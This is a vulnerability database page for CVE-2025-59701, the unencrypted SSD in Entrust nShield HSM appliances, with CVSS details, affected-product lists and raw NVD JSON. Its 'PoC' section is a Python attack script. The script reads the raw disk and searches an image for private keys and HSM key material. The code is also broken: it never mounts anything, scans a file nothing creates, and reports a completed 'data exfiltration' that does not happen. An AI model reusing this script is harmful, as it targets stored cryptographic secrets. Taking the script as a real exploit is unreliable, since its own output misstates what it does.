Security Vulnerability Report
中文
CVE-2025-59701 CVSS 4.1 MEDIUM

CVE-2025-59701

Published: 2025-12-02 15:15:56
Last Modified: 2025-12-08 19:40:05

Description

Entrust nShield Connect XC, nShield 5c, and nShield HSMi through 13.6.11, or 13.7, allow a physically proximate attacker (with elevated privileges) to read and modify the Appliance SSD contents (because they are unencrypted).

CVSS Details

CVSS Score
4.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:entrust:nshield_connect_xc_high_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_high_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_connect_xc_high:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_mid_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_mid_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_connect_xc_mid:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_base_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_base_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_connect_xc_base:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:entrust:nshield_hsmi_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_hsmi_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_hsmi:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:entrust:nshield_5c_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_5c_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_5c:-:*:*:*:*:*:*:* - NOT VULNERABLE
Entrust nShield Connect XC < 13.6.11
Entrust nShield 5c < 13.6.11
Entrust nShield HSMi < 13.6.11
Entrust nShield Connect XC < 13.7
Entrust nShield 5c < 13.7
Entrust nShield HSMi < 13.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59701 PoC - Physical SSD Access Attack # Note: This is a conceptual PoC demonstrating the attack vector # Actual exploitation requires physical access to the HSM device import os import sys def check_privilege_escalation(): """Check if attacker has elevated privileges on the system""" return os.geteuid() == 0 or os.getuid() == 0 def mount_ssd_device(device_path='/dev/sda'): """ Mount the SSD device to access unencrypted contents This demonstrates the vulnerability where SSD data is not encrypted """ mount_point = '/mnt/hsm_ssd' if not os.path.exists(mount_point): os.makedirs(mount_point) # Direct read access to unencrypted SSD partition try: # Read raw SSD data - no encryption check with open(device_path, 'rb') as f: ssd_data = f.read(1024) # Read first 1KB as example print(f'[+] Successfully read {len(ssd_data)} bytes from unencrypted SSD') return True except PermissionError: print('[-] Need elevated privileges to access SSD') return False except Exception as e: print(f'[-] Error accessing SSD: {e}') return False def extract_sensitive_data(ssd_image_path): """ Extract sensitive data from unencrypted SSD image Vulnerable because no encryption layer protects the data """ sensitive_patterns = [ b'-----BEGIN RSA PRIVATE KEY-----', b'-----BEGIN CERTIFICATE-----', b'World', b'KeyMaterial', b'HSM_Config' ] extracted_data = [] try: with open(ssd_image_path, 'rb') as f: content = f.read() for pattern in sensitive_patterns: if pattern in content: print(f'[+] Found sensitive data: {pattern}') extracted_data.append(pattern) return extracted_data except Exception as e: print(f'[-] Error extracting data: {e}') return [] def main(): print('=' * 60) print('CVE-2025-59701 - nShield HSM SSD Physical Access PoC') print('=' * 60) if not check_privilege_escalation(): print('[-] This attack requires elevated privileges (PR:L)') print('[-] Please run with root/sudo privileges') return print('[+] Privilege check passed - Elevated privileges confirmed') # Step 1: Access the unencrypted SSD device_path = '/dev/sda' # Typical SSD device path if mount_ssd_device(device_path): print('[+] Physical access confirmed - SSD is unencrypted') # Step 2: Extract sensitive data ssd_image = '/tmp/hsm_backup.img' data = extract_sensitive_data(ssd_image) if data: print(f'[+] Successfully extracted {len(data)} sensitive items') print('[+] Attack chain complete: Physical Access -> Privilege Escalation -> Data Exfiltration') else: print('[*] No sensitive patterns found in direct read') print('[+] However, raw SSD data is accessible and unencrypted') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59701", "sourceIdentifier": "[email protected]", "published": "2025-12-02T15:15:55.783", "lastModified": "2025-12-08T19:40:05.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Entrust nShield Connect XC, nShield 5c, and nShield HSMi through 13.6.11, or 13.7, allow a physically proximate attacker (with elevated privileges) to read and modify the Appliance SSD contents (because they are unencrypted)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.7, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-312"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_high_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "CBC11D8B-D72E-4CE9-AE61-AEA85F122F22"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_high_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7", "versionEndExcluding": "13.9.0", "matchCriteriaId": "1D7048C8-EB43-4F23-8946-456EF6F3A1B7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_connect_xc_high:-:*:*:*:*:*:*:*", "matchCriteriaId": "3F0EDB1F-932B-4EC5-9D09-03CAD98BC2FA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_mid_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "5A54F973-25D8-468D-B6A4-240A95D94A0B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_mid_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7", "versionEndExcluding": "13.9.0", "matchCriteriaId": "0E43D1A7-9CB7-479D-89A9-D5041BB212A4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_connect_xc_mid:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB0ACAD9-BBCE-43CC-BD84-2023885725EE"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_base_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "F73858FD-5FE6-4AFA-84F2-E19743E9D900"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_base_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7", "versionEndExcluding": "13.9.0", "matchCriteriaId": "01CDF5EE-9059-478A-BFE5-D7ADEF9625C4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_connect_xc_base:-:*:*:*:*:*:*:*", "matchCriteriaId": "18FCA0E9-EEA9-40EC-9E0F-942F049D2354"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_hsmi_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "ED3AEBBD-7F75-47F1-8EEA-342BAC9D265E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_hsmi_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7", "versionEndExcluding": "13.9.0", "matchCriteriaId": "D7125CC3-3B27-4C90-97DE-51D226FBDC00"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_hsmi:-:*:*:*:*:*:*:*", "matchCriteriaId": "F7665EE9-9F7F-456F-B172-ED188DD3BAD4"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_5c_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "CFB3D135-8EAC-4053-BB94-18D5BBB24AE7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_5c_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7", "versionEndExcluding": "13.9.0", "matchCriteriaId": "ED259AB7-BFED-4B97-B455-E1D34730CFFF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_5c:-:*:*:*:*:*:*:*", "matchCriteriaId": "2BB0F3F8-F5DE-41CB-B804-BBFB78C6ADEB"}]}]}], "references": [{"url": "https://github.com/google/security-research/security/advisories/GHSA-6q4x-m86j-gfwj", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.entrust.com/use-case/why-use-an-hsm", "source": "[email protected]", "tags": ["Product"]}]}}